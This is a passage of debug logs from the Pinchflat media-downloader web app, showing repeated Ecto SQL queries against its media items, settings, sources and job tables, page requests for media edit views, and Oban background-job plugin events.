m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99707] 02:08:14.454 [debug] QUERY OK source="tasks" db=0.3ms idle=1810.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [99707] 02:08:14.455 [debug] QUERY OK source="tasks" db=1.2ms idle=810.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101016] 02:08:14.455 [debug] QUERY OK source="sources" db=1.3ms idle=841.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:08:14.455 [debug] QUERY OK source="sources" db=1.2ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:08:14.456 [debug] QUERY OK source="settings" db=0.6ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.456 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=2.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2438] 02:08:14.456 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.457 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.458 [debug] QUERY OK source="settings" db=0.6ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.458 [debug] QUERY OK source="settings" db=1.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.459 [debug] QUERY OK source="settings" db=0.2ms queue=0.3ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:14.460 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:08:14.461 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:08:14.463 [info] Sent 200 in 12ms 02:08:14.464 [info] Sent 200 in 13ms 02:08:25.616 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:32.465 [info] GET /sources/4/media/99707/edit 02:08:32.465 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "99707", "source_id" => "4"} Pipelines: [:browser] 02:08:32.466 [debug] QUERY OK source="media_items" db=0.5ms idle=1818.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99707] 02:08:32.467 [debug] QUERY OK source="settings" db=0.3ms idle=823.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.468 [debug] QUERY OK source="settings" db=0.2ms idle=824.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.469 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=825.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.471 [info] Sent 200 in 6ms 02:08:32.652 [info] GET /sources/4/media/102354/edit 02:08:32.652 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102354", "source_id" => "4"} Pipelines: [:browser] 02:08:32.653 [debug] QUERY OK source="media_items" db=0.2ms idle=186.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102354] 02:08:32.654 [debug] QUERY OK source="settings" db=0.2ms idle=186.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.654 [debug] QUERY OK source="settings" db=0.2ms idle=186.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.655 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=186.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:32.657 [info] Sent 200 in 5ms 02:08:44.017 [info] GET /sources/3/media/3300/edit 02:08:44.017 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3300", "source_id" => "3"} Pipelines: [:browser] 02:08:44.017 [info] GET /sources/3/media/3298/edit 02:08:44.018 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3298", "source_id" => "3"} Pipelines: [:browser] 02:08:44.018 [debug] QUERY OK source="media_items" db=0.5ms idle=1374.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3300] 02:08:44.019 [debug] QUERY OK source="media_items" db=0.6ms idle=1375.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3298] 02:08:44.019 [debug] QUERY OK source="settings" db=0.2ms idle=1375.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.019 [debug] QUERY OK source="settings" db=0.2ms idle=1347.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.019 [debug] QUERY OK source="settings" db=0.2ms idle=346.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.020 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.020 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.021 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:44.023 [info] Sent 200 in 5ms 02:08:44.023 [info] Sent 200 in 5ms 02:08:55.618 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.259 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:14.022 [info] GET /sources/4/media/101456/edit 02:09:14.022 [info] GET /sources/4/media/101901 02:09:14.022 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101456", "source_id" => "4"} Pipelines: [:browser] 02:09:14.022 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101901", "source_id" => "4"} Pipelines: [:browser] 02:09:14.023 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=379.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101456] 02:09:14.023 [debug] QUERY OK source="media_items" db=0.6ms idle=379.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101901] 02:09:14.024 [debug] QUERY OK source="settings" db=0.4ms idle=380.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.025 [debug] QUERY OK source="tasks" db=0.7ms idle=381.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101901] 02:09:14.025 [debug] QUERY OK source="sources" db=0.8ms idle=291.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:09:14.025 [debug] QUERY OK source="settings" db=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.026 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=2.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2528] 02:09:14.026 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.027 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.027 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.028 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:14.029 [info] Sent 200 in 7ms 02:09:14.030 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:09:14.034 [info] Sent 200 in 11ms 02:09:20.933 [info] GET /sources/4/media/101016/edit 02:09:20.933 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101016", "source_id" => "4"} Pipelines: [:browser] 02:09:20.933 [info] GET /sources/4/media/99281/edit 02:09:20.934 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "99281", "source_id" => "4"} Pipelines: [:browser] 02:09:20.934 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1291.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101016] 02:09:20.935 [debug] QUERY OK source="media_items" db=0.3ms idle=1291.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99281] 02:09:20.935 [debug] QUERY OK source="settings" db=0.2ms idle=1292.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.936 [debug] QUERY OK source="settings" db=0.5ms idle=1190.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.937 [debug] QUERY OK source="settings" db=1.2ms idle=188.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.937 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.937 [debug] QUERY OK source="settings" db=0.3ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.939 [info] Sent 200 in 6ms 02:09:20.939 [debug] QUERY OK source="settings" db=1.3ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:09:20.941 [info] Sent 200 in 7ms 02:09:25.620 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:55.622 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.260 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:18.590 [info] GET /sources/4/media/101901/edit 02:10:18.590 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "101901", "source_id" => "4"} Pipelines: [:browser] 02:10:18.591 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1947.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101901] 02:10:18.592 [debug] QUERY OK source="settings" db=0.3ms idle=1949.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.593 [debug] QUERY OK source="settings" db=0.2ms idle=1733.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.594 [debug] QUERY OK source="settings" db=0.2ms idle=950.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.596 [info] Sent 200 in 6ms 02:10:25.624 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:27.675 [info] GET /sources/4/media/101015 02:10:27.675 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "101015", "source_id" => "4"} Pipelines: [:browser] 02:10:27.677 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1033.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [101015] 02:10:27.678 [debug] QUERY OK source="tasks" db=0.9ms idle=795.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [101015] 02:10:27.678 [debug] QUERY OK source="sources" db=1.1ms idle=34.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 